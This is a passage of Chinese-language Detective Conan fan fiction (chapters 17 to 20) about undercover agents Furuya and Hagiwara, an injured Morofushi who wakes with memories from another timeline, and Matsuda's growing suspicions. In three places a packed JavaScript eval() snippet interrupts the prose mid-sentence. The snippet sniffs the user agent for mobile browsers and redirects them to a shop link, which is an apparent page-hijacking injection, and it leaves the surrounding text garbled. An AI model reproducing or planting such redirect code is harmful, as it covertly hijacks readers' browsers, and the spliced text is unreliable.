松田阵平纤长的眼睫闻言缓慢地眨了一下,凫青色的眼眸此时深不见底:“说不定,那个嫌疑人就是……”公安。 他没有说出来这个词,伊达航却也瞬间就明白了他未尽的话语,两个人对视了一眼,都感到了止不住的寒意,和紧接着的难以遏制的怒火。 伊达航清楚诸伏景光对于松田阵平的重要性,深吸了一口气后开口:“松田,我和你一样愤怒,但是——” “我知道,无论如何都要等诸伏醒了再说。公安接手了这个案件,就不会不派人来接触诸伏,到时候还有机会。更何况诸伏作为当事人,他比任何一个人都更清楚发生了什么。” 与此同时,在相隔仅仅五公里的公安医院里。 肩膀和腹部的两处贯穿伤让降谷零的深肤色都显得苍白了些,虽然因为来医院来得晚导致没有及时止血,但没有伤到内脏已经很幸运了。护士在给他的伤口缠上一圈又一圈的纱布,询问他是否需要镇痛剂,被拒绝了。 萩原研二坐在他旁边的椅子上,也没有像往常一样笑嘻嘻地替他开口说什么小降谷其实是不好意思所以在逞强啦,麻烦护士小姐给他来支镇痛剂。 一个低垂着脸看着自己伤口不知道在想些什么,另一个则在出去接了通电话后回来就一直阴沉着脸。 即使这两个人都有着优越的长相,但过分压抑的氛围还是让护士在完成自己的职责后脚步加快地往外走去。 “我已经让公安那边把案件接过来了。”萩原研二首先打破了这片难捱的沉默。“我没有说你应该伤害那个刑警,小降谷,但是你明明有更多方法去阻止他朝你开一枪。” “……他见到我动手了。”降谷零没有就他这句话作出回应,而是径自丢下一句重磅消息。 萩原研二瞳孔微缩:“所以他朝你开那两枪是想把你当场——” “不,只有肩膀那处伤是他伤的,他原本命中的是我的心脏,那个距离和姿势我不一定能躲开。”降谷零再接再厉。 萩原研二说不出话来了,他的嘴唇翕动着,想问的东西太多,反而一时间不知道该从何问起。 眼见着病房里即将陷入沉默,“叩叩”的敲门声响起。 “请进。” 风见裕也拿着一份资料进来:“降谷先生、萩原先生,这是从警视厅那边接来的资料加上我们目前的调查,整合后的初步报告。后续报告要等一些更详细的调查,那个刑警还昏迷不醒,我们没有办法——” “你说什么?”降谷零猛地抬头,一瞬间变得凌厉的视线让风见裕也后退了一步。 “昏迷不醒?!” 17.第 17 章 风见裕也显然没想到降谷零在意的是这个,他原本以为自己会被责怪办事不力,少了一个当事人的询问就没法从其他方面调查清楚。 萩原研二原本的重点也不在那个打伤了降谷零的刑警是不是还在昏迷不醒,直到他在这两人对话的时候接过报告看了起来。 那个刑警,叫诸伏景光。 是和松田阵平一起长大的,最好的朋友。 “小风见,麻烦你多关注一下这位刑警先生的身体状况哦,我记得上个月这里来了个脑医学专家,可以让他过去看一下吗?” 风见裕也听得一愣一愣的,非常耿直地回答:“可是让公安的专家去警察医院有些——我现在就去沟通!”他被两个人齐刷刷盯着他的目光搞得头皮发麻,几乎同手同脚地走出病房。 他一边走还一边在心里嘀咕:降谷先生和萩原先生有什么很紧要的信息要从那个刑警嘴里得知的吗?总不能是真的担心一个陌生刑警的安危吧? 病房里再次只剩下降谷零和萩原研二两个人。 这次轮到降谷零先开口了:“你认识h……你认识他?” 萩原研二没有错过他的异样:“只能算单方面认识,他是小阵平最好的朋友,上次我给你看的关于小阵平的资料,后面有附上他的资料。倒是小降谷,你为什么会认识他?” 当时只把正文看完的降谷零:“……” 萩原研二把报告卷成圆筒形状,用上田纳西的状态,笑里藏刀:“那么,波本,你是怎么认识这位条子先生的呢?” 降谷零一把抽过报告:“我还没看呢!”他看了看恢复正常状态的萩原研二,心里偷偷地松了口气,“你不生气了?” 萩原研二叹气:“我生气有什么用,那是你的身体不是我的身体,本人都不在意我又能说什么呢~” 降谷零理亏,想了想,他还是决定从实招来:“其实我也只是单方面认识他。” 四年前,降谷零有次在视频网站上搜索资料的时候无意间发现一个没什么播放量的贝斯弹奏视频,清爽的视频封面和封面上属于年轻男性修长的手指,让原本已经用鼠标滑过去的降谷零在几秒后又划回来,点开了视频。等四分多钟的视频结束后,降谷零已经成为这个贝斯手的粉丝了。 都说音乐最能反映出一个人的性格,降谷零从这个人身上感受到一种他无法拒绝的温柔和坚韧。 他把这个叫“景老爷”的账号上的视频从头到尾都看了一遍,继贝斯演奏外,降谷零还在他的做饭视频中听到了这个年轻男性的声音,比他想象中的还要温柔好听。降谷零搞不懂为什么其他人都叫他“旦那”,明明“hiro”更适合他。 萩原研二听到这里的时候没忍住吐槽:“所以小降谷你这是网恋?还是单方面的网恋?” 降谷零用“你在胡说八道什么,我对hiro这是单纯的喜欢”这么具象化的眼神谴责着萩原研二。 “不够单纯”的萩原研二:“……”搞不懂你们年轻人。 降谷零继续说下去。 他一直很积极地给hiro评论,对方也一直很认真地回复他。就这么过了差不多一年的时间,hiro的账号慢慢火起来了,有很多人给hiro的视频发弹幕、评论,有时候弹幕甚至多到挡住了hiro的身影。 虽然hiro对他这个老粉丝比较特殊,每次他的评论都会得到回复,但是降谷零难免会产生危机感,于是他决定也学个乐器。 他一开始想跟着hiro学贝斯,但是后来觉得,等他和hiro再熟悉一些,他就鼓起勇气问能不能见面,那个时候希望他们可以合奏一首。所以降谷零最后选择了吉他。 降谷零认真练习了一段时间,终于练好了一首简单的曲子。他兴致勃勃地模仿着hiro的视频风格,拍了一段发给hiro。hiro真的是个很温柔的人,对于降谷零这种堪称突兀的行为一点也不责怪,甚至高兴地说很期待将来的合奏,然后在他的要求下对他的吉他弹奏提出改进意见。 ……可是还没等到他们见面,降谷零就被邀请进入公安,进而成为卧底。他没法再给自己拍摄视频发给对方,也怕自己在和对方交流的时候不小心暴露什么,只能狠下心来中断这份联系。hiro后来还私聊问了几次说近况如何,吉他的学习有没有遇到瓶颈,他都没有再回复对方了。 只是终究没舍得完全消失在hiro的视野里,于是还是会在对方的每个视频下面留言。 听完这段前情提要,萩原研二啧啧摇头:“小降谷啊,你这种行为要是放在女生身上,是要被骂渣男的知道吗?先积极主动联系对方,等人家好不容易放下心防和你建立关系,又什么解释都没有地单方面断绝联系,最后还一边不肯联系一边在对方发的生活动态下留言,以表明自己其实有在认真关注对方的一点一滴,只是有不能言明的苦衷才若即若离。” 他最后抑扬顿挫地下了个总结:“真是好一套深情渣男的组合拳啊!” 觉得哪里不对但是又完全找不到反驳点的降谷零:“……”感觉伤口都被气得更痛了。 眼见降谷零要被他的话刺激得想当场手撕纱布冲下来和他打一架,萩原研二清了清嗓子当无事发生:“所以呢,说了那么多,你今晚是认出了,小诸伏就是你心心念念的hiro?” 降谷零终于能反过来吐槽他了:“什么小诸伏,你和hiro说过话吗就喊那么亲密?” 萩原研二用发现新大陆的表情看着他:“还说不是单方面网恋呢,我叫的小诸伏又不是小景光,你吃什么醋?更何况他是小阵平的朋友,我叫亲密点怎么了?” 猝不及防被秀了一脸的降谷零:“……总之,我对hiro的声音很熟悉。他今晚追我的时候用耳机对其他人说了话,我一下子就认出来了,我没想到他竟然会是刑警。”虽然从视频里确实可以看出hiro的身材很好…… 把脑海里奇怪的想法甩掉,他低头一边看报告一边慢慢补充:“你质问我为什么明明有很多办法可以阻止他朝我开枪却没有阻止。理由其实有很多,首先我确实因为认出hiro,瞬间的冲击下没能立刻调整好状态,这是我不应该犯的错误,如果不是因为hiro不知为何没对着我的致命处开枪,我早就命丧黄泉了。” “其次,我当时发现那家废弃公司里装了炸弹——是你组装的炸弹,我认得出来。”降谷零在萩原研二震惊的眼神里,指了指报告上那句【炸弹部分待从警视厅转移炸弹残体后进行分析】,“组织里有人想对我下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240185|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死手,并且把锅甩到你身上,hiro是被我连累到的。” 萩原研二其实刚进入组织的时候是想走行动组这条线的,在成为代号成员前做了些质量中上的炸弹作为敲门砖,可是后来朗姆看中了他的交际能力,把他搞到了情报组。 萩原研二自此再也没动手给组织做过炸弹了,琴酒一旦问起,他就嬉皮笑脸地说自己又不是行动组的,没有为行动组无偿奉献的爱好。 琴酒被他搞得想一枪崩了他,但是又觉得他在情报方面比神秘主义的波本要好用得多,就又忍下来了。 萩原研二做的这些炸弹是上交给组织的,组织会在什么时候分配给哪些人,即使他是代号成员,用正常途径也是查不到的。 如果他和降谷零冒险去查,也无法锁定到真正的幕后黑手。炸弹毕竟是消耗品,领到之后有没有用掉,用掉多少,组织其实是不管的,这个他们查也查不出来。 “我想提醒hiro,但是嫌疑人主动提醒警察小心炸弹太反常不提,他也不一定相信我,甚至可能会因为怀疑我而更靠近炸弹。”降谷零用手指沾了点茶水,在床头柜上画了个简易路线图,“所以我发现炸弹之后只能尽量往远离炸弹的方向跑,那绝对不是最佳的路线,安装炸弹的人也很清楚这一点。要不我没发现炸弹,往最佳路线撤退的时候被炸,要不就是我发现炸弹,远离炸弹的时候露出破绽,无论如何我都不能全身而退。” 说到这里,降谷零顿了一下,恍然大悟:“那个人其实当时就在附近,看到我被警察追才没有出手。他大概没想到,在我露出这么大的破绽的情况下,hiro竟然没有当场击杀我。” 萩原研二听到这里的时候露出了一个狞笑,他站起来用胳膊勒住降谷零的脖子:“虽然不知道为什么小诸伏没有对你下死手,但是小降谷确实应该好好反省一下了,要是换个人你现在已经尸体硬邦邦了!” 他顾忌着降谷零的伤口,几乎没用什么力气,但降谷零还是非常配合地装作即将被勒晕过去的惨状:“手、手下留情啊萩原!要不是hiro我也不会是这个反应啊!” 降谷零想到现在还没醒过来的诸伏景光,脸上的表情变得严肃起来:“hiro完全是被我连累的,如果他情况没好转,我会为他跟上级申请更好的医疗资源。以及虽然不知道是谁想要加害我,但是对方很有可能看到了hiro作为刑警竟然没对我下死手,这不仅会把hiro暴露在组织视线里,我身份暴露的可能性也会增加。” 萩原研二点头表示认可:“第一点如果小降谷一个人的申请不够份量,我就和你一起申请。后面那个的话……要不我们先下手为强吧~” 降谷零不解:“怎么先下手为强?我们并不知道那个人是谁,虽然我觉得是莱伊的可能性高达99%。” 萩原研二在短短几秒内脑海里就闪过了无数降谷零和莱伊互下死手的场面,嘴里的话都哽住了几秒:“……虽然不排除是小莱伊的可能性,但我要说的不是这个。” “我是指,可以由我来不经常地传播一个消息:小波本引诱了一个刑警,刑警对他手下留情却被他反手炸到昏迷不醒。”以组织成员的八卦程度,相信可以半天内就传遍每一个代号成员。 “哈?!” 18.第 18 章 等降谷零回到组织的时候,就看到每一个看到他的成员连走路都下意识避开他。 降谷零:“……” 萩原研二到底给他编排了些什么!虽然他也不需要这些罪犯的好感度,但是莫名社死啊! 这个答案在贝尔摩德给他打电话后揭晓了。 这个远在北美的艳丽女星对于波本这样的做法倒是很满意:“我都听说了,波本,你真是越来越优秀了。对一个正直的刑警先生骗身骗心,对你一往情深,顶着入狱的危险都不舍得对你下手,你却反过来用这份真挚的爱意让他重伤昏迷,是玩腻了,想要换一个吧?” 组织成员当然没有忽然一夜之间变得三观积极向上,要对波本的行为进行道德上的谴责。他们只是觉得这个神秘主义者似乎要往什么极端的方向发展,担心自己不知不觉成为波本的下一个牺牲品或者被他连累罢了。 尤其是行动组的人,本来就对情报组看不过眼,现在更是把和波本一起出任务当作烫手山芋了。 降谷零想起自己被这群犯罪分子用那种眼神看着,一瞬间咬紧了后槽牙,但还不得不虚以为蛇假装欣然接受贝尔摩德的夸奖:“……毕竟我从你这里也学到了很多,你不也是这么对待卡尔瓦多斯的吗,贝尔摩德?” “哎呀,那可不是一个难度等级。好了波本,相信我们下次一起出任务的时候,你能向我展示你越来越无可挑剔的能力。” 挂了电话后,降谷零捋起袖子就准备去找萩原研二算账。但是奈何萩原研二接了组织的新任务,连想找机会和松田阵平贴贴都没时间,更没空被降谷零逮着打一顿了。 降谷零一腔憋屈无处发泄,只能问风见裕也关于诸伏景光的情况和案件的后续报告,得知都没有什么进展之后不留情地训了一顿风见裕也,然后把他拉进自己和萩原研二联名为诸伏景光申请医疗资源的行列里。 与身在组织的降谷零和萩原研二不同,松田阵平最近的生活都比较规律。 一到工作日上班时间,他就拿着包装上伪装过的碟片和粉色卡片气势冲冲地直奔鉴定科。 对松田阵平不够熟悉的鉴定科同事看着一名穿着一身黑还带着墨镜、一看就不是什么好人的年轻男人冲进来,吓得他们差点想一起上去把松田阵平按倒——虽然不一定能成功。 幸好伊达航在走廊的时候看到这一幕,及时跟过来,虽然并不清楚松田阵平要做什么,但总之先解释这是爆处组的同事松田阵平,请大家不要误会。 鉴定科的人虽然不熟悉松田阵平那张脸,却相当熟悉松田阵平这个名字。不如说,松田阵平的能力和不羁,整个警视厅都是有所耳闻的。 啊,是这位啊,那就不奇怪了。 瞬间理解了松田阵平看起来不太友好的表现,天才嘛,性格总不可能多正常。 距离这两人最近的鉴定科的坂本警官向伊达航点点头表示理解,然后问明松田阵平的来意。 松田阵平把那两样东西拿出来,说自己想进行字迹鉴定。坂本警官有些为难:“虽然大家都是同事,但是……”但是内部也要走流程申请啊!而且不接私人原因的鉴定啊! 他话还没说完,就被伊达航揽过肩膀强行插话:“哈哈,我知道你一定很乐意帮忙的,坂本,先谢谢啦!上次你说那位小姐——” 坂本警官反应迅速地用更大的分贝来回答:“那我就先收下了,松田你周五过来拿结果吧!” 可恶,上次和伊达吃饭,他的女友娜塔莉小姐带来了一位很可爱的小姐,他们现在正聊得开心,感觉很快就能确定男女朋友关系了,这份人情他不得不还。 虽然不知道背后有什么故事,但很清楚是班长帮他解决了这个难题,离开鉴定科之后就老实跟对方道谢:“谢啦,班长。” 伊达航叼着根牙签摆摆手说小意思:“不过你为什么要鉴定这个,和诸伏这次事件有关吗?” 松田阵平摇了摇头:“没有。”他希望没有。 中午休息时间和晚上,只要没有出外勤,松田阵平都会去医院陪护诸伏景光,连续几天都是。警察医院给诸伏景光配置了专门的护工,但松田阵平还是习惯守在诸伏景光旁边,虽然他其实也做不了什么。 周一下午的时候,接到消息的诸伏高明和大和敢助、上原由衣赶过来了一趟,结果还没待够半天就因为长野出现连环杀人事件而往回赶,在下楼的时候碰到下班来医院的松田阵平。 和弟弟有着相似眼睛的儒雅男子很郑重地对着松田阵平道谢,不擅长被这样对待的卷毛警官有些不好意思地说那是他作为好友应做的。 伊达航也带着娜塔莉来探望过,但更多的是单独自己来,自己来的时候会跟松田阵平互相分享案件的新消息。 虽然案件已经被公安全权接过去了,但是一些证据资料的转移还需要些时间,包括松田阵平这边的炸弹残体和现场分析报告。 目前没有太多的信息,现场的监控早已不工作,附近的公共摄像头里则根本没有可疑人物的身影,别说不知道装炸弹的和诸伏景光追捕的嫌疑人是不是同一个,现在是连一个怀疑对象都没有。 他们现在只能查到这么多,再多的消息已经被公安封锁起来了。 伊达航无奈:“这种犯罪能力,又被公安那么看重,估计是什么大型跨国犯罪组织也说不定。” 松田阵平对这方面也是全然陌生,闻言看了看依旧安静躺着的诸伏景光:“所以还是只能等诸伏醒吗?最近来了些专家给诸伏看病,虽然他们说是警视厅的高层体恤诸伏工伤,但是跟在这批专家后面的那个人行事有些像公安。” 伊达航不解:“这不像公安的作风。即使我们的猜测是正常的,他们也不会对此产生什么愧疚之情才对。” 松田阵平认可他的观点,但是:“无论是愧疚也好,只是想诸伏作为重要证人早点醒来也好,总之不会是坏事——我有跟着几次见诊,那些医生确实是单纯从诸伏身体健康的角度来考虑。” 他们关于案件的讨论就这么没了下文。 松田阵平依旧有进行每日答题,这个答题的风格也很跳跃,有正常的譬如“你今天有没有出外勤”,也有很莫名其妙的“你喜不喜欢吃咖喱饭”。 答题后有没有实体物品掉落也很随机,有时候是一张课程表、一个八音盒,有时候什么也没有。 他在记忆里看着两个少年一点点长大,进入同一所大学同一个专业,萩原研二还尝试了各种方式最后成功和松田阵平的室友换了宿舍,他们依旧形影不离。 虽然依然看不到脸部,但是画面里萩原研二的发型却已经隐约可见了。 和三木贤治相差无二。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245353|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 松田阵平:…… 这人不会是二十几年都没换过发型吧? 这么吐槽的松田阵平完全忽视了自己同样如此——虽然他的发型是纯然天生的。 周四的时候,萩原研二终于把他手上那个高难度任务解决了,还顺便验收了一下他散播的波本谣言的成效,结果令他十分满意,在去找好友邀功的时候差点被对方扫地出门。 萩原研二感叹小零叛逆伤透吾的心,还是需要小阵平给我温暖,于是再次向松田阵平发出了约会的邀请。 虽然在这几天里,他忙得想把路过的每一个组织成员拷上手铐,但还是不忘偶尔给松田阵平发消息。 这是周一的: 【小阵平~快看快看,这是今天的晚霞,有没有觉得左上角那个很像你啊~】 【你怎么看出来的?我只觉得那更像绵羊。】 周二的: 【刚刚吃到了一个味道很奇特的竹轮,想拿给小阵平试试看哎ω】 【都说了我大部分的饮食爱好是正常的!】 【不信,除非小阵平今晚陪我吃饭】 【啧,明明最近没空的是你吧?】 【哼,明明小阵平也没空,还想甩锅 (┯_┯)我要闹啦 】 【你刚刚说了‘也’,对吧?】 【打平手啦,我说休战小阵平不会有意见吧!】 周三则是: 【我们第一次见面的那家模型店进了一款城市限定模型哎,已经让店长给我们留了一份了!】 【我们两个人,为什么是一份?】 【什么?!小阵平竟然不想和我一起拼模型吗QAQ】 【开玩笑的,等我们都有空吧。】 萩原研二甜滋滋地翻看前几天的消息记录,想着小阵平没空,那我现在刚结束一个任务,我可以去找小阵平! 他手速飞快地打着消息:【小阵平小阵平小阵平!我刚赶完一个ddl,你那边有没有空呀,不方便的话也可以我过去找你~】 这时的松田阵平刚下班来到诸伏景光的病房。 跟平时冷冷清清只有护工,偶尔会有三四个同事过来探望的病房不一样,今天诸伏景光的病房里围满了医生护士。 松田阵平心里隐隐有个猜想,快步走上前去,问在外面站着的护工:“什么情况?” “诸伏先生醒了。” 松田阵平这几天一直悬着的心终于放下来了,虽然他无法透过围了一圈又一圈的医生护士看到中心人物诸伏景光,但是语气都变得和缓起来:“他还好吧?” 护工犹豫了一下:“诸伏先生醒来的时候双手一直抓着心脏的位置,看起来很不舒服,我就叫了护士过来。护士说诸伏先生主要伤到的是头部,按理说不应该心脏不舒服,就叫来了医生。诸伏先生好像对医院很抗拒,他还试图拔掉手上的针头和身上的仪器。然后护士和医生就越来越多了……” 本来不想打扰医生问诊的松田阵平闻言忍不住了,他一米八几的警察身材想挤进去轻而易举。 诸伏景光现在正坐着,脸色已经没有刚被送进医院的时候那么苍白了,左手正虚虚搭在心脏上方,右手正被三个护士摁着固定好输液针头。 他看到松田阵平,眼里的戒备一瞬间变成不可置信和恍惚:“……松田?” 19.第 19 章 诸伏景光的状态很不对。 在和松田阵平对上视线前,他浑身绷紧的状态像是要把周围的医生护士都撂倒。 和他对上视线之后,目光则在“活见鬼”的诧异和“你死得好惨啊松田”的悲痛之间切换。当然这还是因为松田阵平和他足够熟悉才能看出来的,其他人最多只能注意到诸伏景光对松田阵平有些在意。 松田阵平:…… 我不和摔坏脑子的病患计较。 为首的医生没注意到他们两人的眼神官司,还在苦口婆心劝这个不省心的病人:“这位先生,你的状况还很不稳定,躺了那么多天也需要时间来恢复正常状态。现在业务科室都已经下班了,至少要等明天上班时间都做了检查,尤其是你看起来心脏不太舒服,这个不能忽视。等到检查结果出来,我们评估你可以出院了,再办理出院手续。” 可能是看到熟人了,诸伏景光看起来没一开始那么抵触了,但还是没说话。 医生就当他默认了,转过头对护士交代了明天要几点去哪些检查,就带着其他医生离开了。护士让诸伏景光有不舒服务必第一时间叫他们,也出去了。 整个房间只剩下了诸伏景光和松田阵平两个人。 松田阵平对这个让他们担心了那么多天、一醒来就整出幺蛾子的好友感到牙痒痒,没敢揉对方受伤的头部,也不好动正在输液的右手,只能恨恨地捶了一下没烧伤的左肩。 但他没想到,当他猝不及防给诸伏景光拍了这么一下的时候,对方本能摆出了要对他下死手的架势。 松田阵平沉默地往后退了一步:“你是谁?” 诸伏景光温温柔柔地笑着,那双漂亮的猫眼里却是毫无遮掩的狠厉:“这么问的人应该是我吧,你是谁?松田阵平一个月前就死了,我不管你是谁,但是要假扮别人之前能不能先做一下基础的情报工作。” 莫名其妙变成“死人”的松田阵平:“……” 他的手伸向了床头的紧急按钮。 诸伏景光眼疾手快地拦住了他。 两个人沉默地对峙着。 松田阵平不知道怎么形容眼前的诸伏景光。这不是一直在他身边的诸伏景光,对方的身上弥漫着很重的戾气和血腥气,像是长期游走在黑暗边缘的人。 就算诸伏景光真的摔坏了脑子,一时半会也变不成这种气质。 他难免开始阴谋论,看到嫌疑人行凶现场的诸伏景光,是不是已经被人为调换了,眼前的这个只不过是个赝品。 松田阵平上前飞速和诸伏景光过了几招,虽然诸伏景光下手狠辣,但是奈何大病初愈,四肢无力不说一动起来就开始头晕头痛,左手和身上的伤口一阵阵刺痛,于是没动几下就被松田阵平得逞了——他被捏住了脸。 脸是原装的。 诸伏景光也趁此机会捏上了松田阵平的脸。 这个也是原装的。 诸伏景光那双因为警惕一直往下压的猫眼瞬间睁大:“你真的是松田阵平?死后也会有医院吗?” 他低下头看着自己身上的绷带,又摸了摸心脏的位置和脑袋:“我明明是心脏中枪,怎么是手臂和脑袋被包扎起来?” 松田阵平也开始严肃起来了,他想到了另一种可能。 如果屏幕是想告诉他,他真正的幼驯染叫萩原研二,那在这个前提下的诸伏景光呢? 他微微弯下腰,盯着诸伏景光的双眼:“诸伏,你的幼驯染是谁?” 诸伏景光瞥了他一眼:“松田你也摔到脑袋了吗?我哪有幼驯染。” 好极了,这个问题不知道踩到了这个诸伏景光的哪个点,虽然表面很淡定,但毕竟多年朋友,松田阵平能看出他现在的警戒度简直要爆满。 看来这个诸伏景光不仅有幼驯染,那个幼驯染不是自己,而且幼驯染的存在因为某种原因不能被别人知道。 什么样的身份,才会不方便暴露在大众面前呢?正在执行秘密行动的公职人员,明面上“已死”之人,还是……犯罪集团成员? 根据这个诸伏景光身上的气息,后者的概率不小。 但松田阵平不愿意这样去揣测诸伏景光,哪怕眼前这个诸伏景光并不是陪伴他十几年的那位,但他认为人的本质是不会变的,除非是这个诸伏景光的幼驯染来了,否则他敢说没人比他更清楚诸伏景光有多适合当警察。 温柔,坚定,即使幼时经历过那样惨痛的经历,在长大后竟然也能做到不顾一切地冲进火海把害得他家破人亡的凶手救出来。 诸伏景光尊重每一个生命,认为即使是罪犯也应由法律去制裁。 松田阵平选择换个问题,诸伏景光的幼驯染问不得,那他自己的总能问了吧?为了防止自己二次踩到诸伏景光的雷区,松田阵平慢慢地靠近诸伏景光,准备在对方又想对他动手的时候及时摁住。 “嗯,你没有幼驯染,那我呢?” 诸伏景光没有再对他动手,而是仔仔细细看过他每一寸眉眼,就在松田阵平以为他要回答的时候,就看到他又笑弯了一双猫眼:“我怎么知道呢,我们又不熟。松田,你不要问我这么奇怪的问题好不好?” 累了。 这个诸伏景光怎么那么难搞。 松田阵平半月眼,虽然他一直知道景老爷不好惹,但是没想到“跟他又不熟”的景老爷会如此不好惹。 “算了。”松田阵平觉得如果不是自己先开诚布公,大抵是没法从眼前人的嘴里撬出一星半点消息的。 于是他拉了张椅子,在诸伏景光床边坐下,开始从他们两个认识开始说起,一直讲到这次诸伏景光在追捕犯人的过程中受伤昏迷。 屏幕的存在不能透露,但换个表述,说自己最近莫名其妙获得了一些不存在的记忆,记忆里他的幼驯染另有其人,却因为记忆的不完整不知道对方是谁。 在松田阵平讲述的过程中,诸伏景光一直保持着一个淡淡的表情,但从他眼神的细小变化来说,显然心绪并不平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253281|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个小时后,讲到口干舌燥的松田阵平作出总结:“……就是这样,景老爷您有什么疑问吗,可以跟我说您是什么情况了吗?” 听了半个小时都没换过表情的诸伏景光,在听到这个“景老爷”这个称呼的时候脸色才变得更柔和了些。 感觉自己半个小时都白讲了不如一上来就喊景老爷的松田阵平:“……” 诸伏景光犹豫了一下,似乎在挑选能告诉他的:“即使如此我还是不能完全相信你,我的身份是暴露了,但我背后的信息可还没有,无论是死而复生还是平行时空,都很难让我去相信,你作为警察应该也明白。” 暴露身份,那看来是在执行秘密任务的卧底了。松田阵平在心底悄悄松了口气,就说景老爷不可能是什么反派嘛。 “但至少我可以回答你一个问题,松田,你那个看不清长相的幼驯染是——ha……”随着第一个音节的结束,诸伏景光好像忽然掉线了一般眼睛闭上,脑袋往旁边歪去。 这一切发生得突然,松田阵平正全神贯注听着,就看到人突然倒下了,幸好他手速够快,才堪堪在诸伏景光还没痊愈的脑袋即将撞上床头柜的医疗仪器时伸手托住了他。 这次没有诸伏景光的阻拦,松田阵平按下了紧急按钮。护士来得很快,看到诸伏景光竟然又昏迷了,连忙叫来医生。 结论是生命体征平稳,应该是睡了那么多天,刚醒来太累了又睡过去了。 松田阵平:倒是把名字说完再睡啊! 但是他也做不出把沉睡的病人摇醒的缺德事。 更何况,虽然诸伏景光只是说出了一个音节,却也能和“萩原研二”的第一个音节对上。屏幕背后的人,和刚刚那个诸伏景光拥有同样的记忆。 松田阵平坐下来,稍微缓了缓神,掏出手机准备跟班长说诸伏景光醒了又睡过去了。 这才看到三木贤治的消息。 【小阵平小阵平小阵平!我刚结束一个ddl,你那边有没有空呀,不方便的话也可以我过去找你~】 【一个小时过去了,小阵平还没回复我……现在已经是警视厅的下班时间了,难道小阵平又出外勤了吗?】 他回了句:【没有出外勤,朋友住院了我来探望他。】 发完消息,松田阵平就给班长打了电话。 伊达航正在加班,闻言很高兴,说那明天中午过来,就能看到活蹦乱跳的诸伏了。 松田阵平没把诸伏景光的异样告诉他,这也不是在电话里可以解释清楚的。挂了电话之后,他看到了三木贤治的最新消息。 【是小诸伏吗?他怎么了?】 松田阵平有些微妙的不爽,打字的力度都变大了:【是他,但是你怎么一猜就是他,我好像没有其他朋友一样。】还有班长呢! 【嗯嗯嗯,小阵平还有我呢~】 不知道为什么,松田阵平看着这句话,心底忽然感觉空荡荡的,好像他曾经失去过很重要的东西。 20.第 20 章 今晚的梦很长,也比以往任何一个梦都要美好。 这次梦里不只有松田阵平和萩原研二,还出现了伊达航、诸伏景光和另一个看不清样貌的年轻男性。 他们是警校的同期,入学没多久松田阵平就和那个看不清样貌的男生打了一架,却不打不相识,和他以及他的幼驯染诸伏景光、班长伊达航成为了好友。 五个人救下过被绳子勒住脖子的警官,一起解决便利店里的抢劫,从司机陷入昏迷的大货车下救人,成功陪诸伏景光找到杀害父母的凶手,用画着樱花的班旗接住了宁愿冲进火场也要救出凶手的诸伏景光…… 他们一起经历了太多太多。 他们志气相投,他们意气风发,短短几个月的岁月,绚烂得可以用一辈子的时间去铭记。 毕业的时候,他们四个看着优秀的好友作为代表上台讲话,一边为之骄傲一边也在互相悄悄说些对未来的期盼。 梦很美好,但松田阵平大清早醒后第一件事却是在病房的阳台上抽了半小时的烟。 梦境和记忆的真实感越来越强,到了这次,除了见不到萩原研二和那个连名字都听不见的同期好友让松田阵平能意识到这是屏幕后面的人想让他看到的,其余的种种,都让松田阵平觉得那就是自己经历过的。 他有形影不离的、会一边喊着他小阵平一边挂在他身上的幼驯染,诸伏景光也有个警校第一、受了伤会去找他包扎的幼驯染,班长会一边说不是很懂你们幼驯染一边不经意地秀出自己有女朋友。 太耀眼了,即使松田阵平也是这其中的一员,也依旧觉得,当这五个人一起的时候,实在太耀眼了。 有个词语叫盛极则衰。 他从来不是悲观的人,能说出只会踩油门的人,怎么可能是个悲观的性子。 但松田阵平能猜到。 昨晚诸伏景光说自己“身份暴露”,结合他抓着自己心脏的样子,暴露身份后的下场可想而知。 无论是作为现有记忆的幼驯染还是屏幕记忆里的同期好友,松田阵平对于诸伏景光的结局都会很痛苦,更何况从气质气息来说,今晚医院里的诸伏景光和警校时期的比起来简直不像同一个人,难以想象他曾经经历了什么。 至于松田阵平本人——“一个月前就死了”。 从接受爆处组的邀请那天开始,他就清楚这份职业的危险性。但他向来自信,怎么会有自己拆不掉的炸弹? 结果还是早早就死了啊,也不知道是怎么死的。 不会真有他拆不了的炸弹吧? 秋天的早晨好像总是有股很好闻的气息,不像夏天即使在早晨也祛除不掉的烦躁气息,也不像冬天早晨凌冽到鼻子都发疼,春天的早晨倒是温度适宜,可是偶尔会觉得甜得有些黏腻。 唯有秋天,清清爽爽,就好像此时地平线上出现的那一抹橙黄光。 松田阵平任由着日出的光线把他裹得毛绒绒。他摁灭了手中的烟,露出了一个很松田阵平的笑容。 “那又如何?” 